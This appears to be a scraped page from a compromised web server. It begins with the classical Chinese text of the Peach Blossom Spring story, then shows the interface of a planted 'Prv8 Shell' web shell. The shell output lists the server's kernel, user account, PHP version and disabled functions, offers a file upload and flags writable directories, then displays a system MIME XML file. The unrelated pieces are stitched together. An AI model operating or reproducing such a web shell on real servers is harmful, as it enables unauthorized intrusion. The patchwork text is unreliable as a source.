晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/mime/application/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/mime/application/x-xzpdf.xml
<?xml version="1.0" encoding="utf-8"?>
<mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="application/x-xzpdf">
  <!--Created automatically by update-mime-database. DO NOT EDIT!-->
  <comment>PDF document (XZ-compressed)</comment>
  <comment xml:lang="ast">Documentu PDF (comprimíu en XZ)</comment>
  <comment xml:lang="bg">Документ — PDF, компресиран с XZ</comment>
  <comment xml:lang="ca">document PDF (amb compressió XZ)</comment>
  <comment xml:lang="cs">dokument PDF (komprimovaný pomocí XZ)</comment>
  <comment xml:lang="da">PDF-dokument (XZ-komprimeret)</comment>
  <comment xml:lang="de">PDF-Dokument (XZ-komprimiert)</comment>
  <comment xml:lang="el">Έγγραφο PDF (συμπιεσμένο με XZ)</comment>
  <comment xml:lang="en_GB">PDF document (XZ-compressed)</comment>
  <comment xml:lang="es">documento PDF (comprimido con XZ)</comment>
  <comment xml:lang="eu">PDF dokumentua (XZ-rekin konprimitua)</comment>
  <comment xml:lang="fi">PDF-asiakirja (XZ-pakattu)</comment>
  <comment xml:lang="fr">document PDF (compressé XZ)</comment>
  <comment xml:lang="ga">cáipéis PDF (comhbhrúite le XZ)</comment>
  <comment xml:lang="gl">documento PDF (comprimido en XZ)</comment>
  <comment xml:lang="he">מסמך PDF (מכווץ ע״י XZ)</comment>
  <comment xml:lang="hr">PDF dokument ( XZ sažet)</comment>
  <comment xml:lang="hu">PDF dokumentum (XZ-vel tömörített)</comment>
  <comment xml:lang="ia">Documento PDF (comprimite con XZ)</comment>
  <comment xml:lang="id">Dokumen PDF (terkompresi XZ)</comment>
  <comment xml:lang="it">Documento PDF (compresso con XZ)</comment>
  <comment xml:lang="ja">PDF 文書(XZ 圧縮)</comment>
  <comment xml:lang="ka">PDF დოკუმენტი (XZ-ით შეკუმშული)</comment>
  <comment xml:lang="kk">PDF құжаты (XZ-мен сығылған)</comment>
  <comment xml:lang="ko">PDF 문서(XZ 압축)</comment>
  <comment xml:lang="lv">PDF dokuments (saspiests ar XZ)</comment>
  <comment xml:lang="nl">PDF document (XZ-compressed)</comment>
  <comment xml:lang="oc">document PDF (compressat XZ)</comment>
  <comment xml:lang="pl">Dokument PDF (kompresja XZ)</comment>
  <comment xml:lang="pt">documento PDF (compressão XZ)</comment>
  <comment xml:lang="pt_BR">Documento PDF (compactado com XZ)</comment>
  <comment xml:lang="ru">Документ PDF (сжатый xz)</comment>
  <comment xml:lang="sk">Dokument PDF (komprimovaný pomocou XZ)</comment>
  <comment xml:lang="sl">Dokument PDF (XZ-stisnjen)</comment>
  <comment xml:lang="sr">ПДФ документ (запакован ИксЗ-ом)</comment>
  <comment xml:lang="sv">PDF-dokument (XZ-komprimerat)</comment>
  <comment xml:lang="tr">PDF belgesi (XZ ile sıkıştırılmış)</comment>
  <comment xml:lang="uk">документ PDF (стиснений xz)</comment>
  <comment xml:lang="zh_CN">PDF 文档(XZ)</comment>
  <comment xml:lang="zh_TW">PDF 文件 (XZ 格式壓縮)</comment>
  <sub-class-of type="application/x-xz"/>
  <generic-icon name="x-office-document"/>
  <glob pattern="*.pdf.xz"/>
</mime-type>

haha - 2025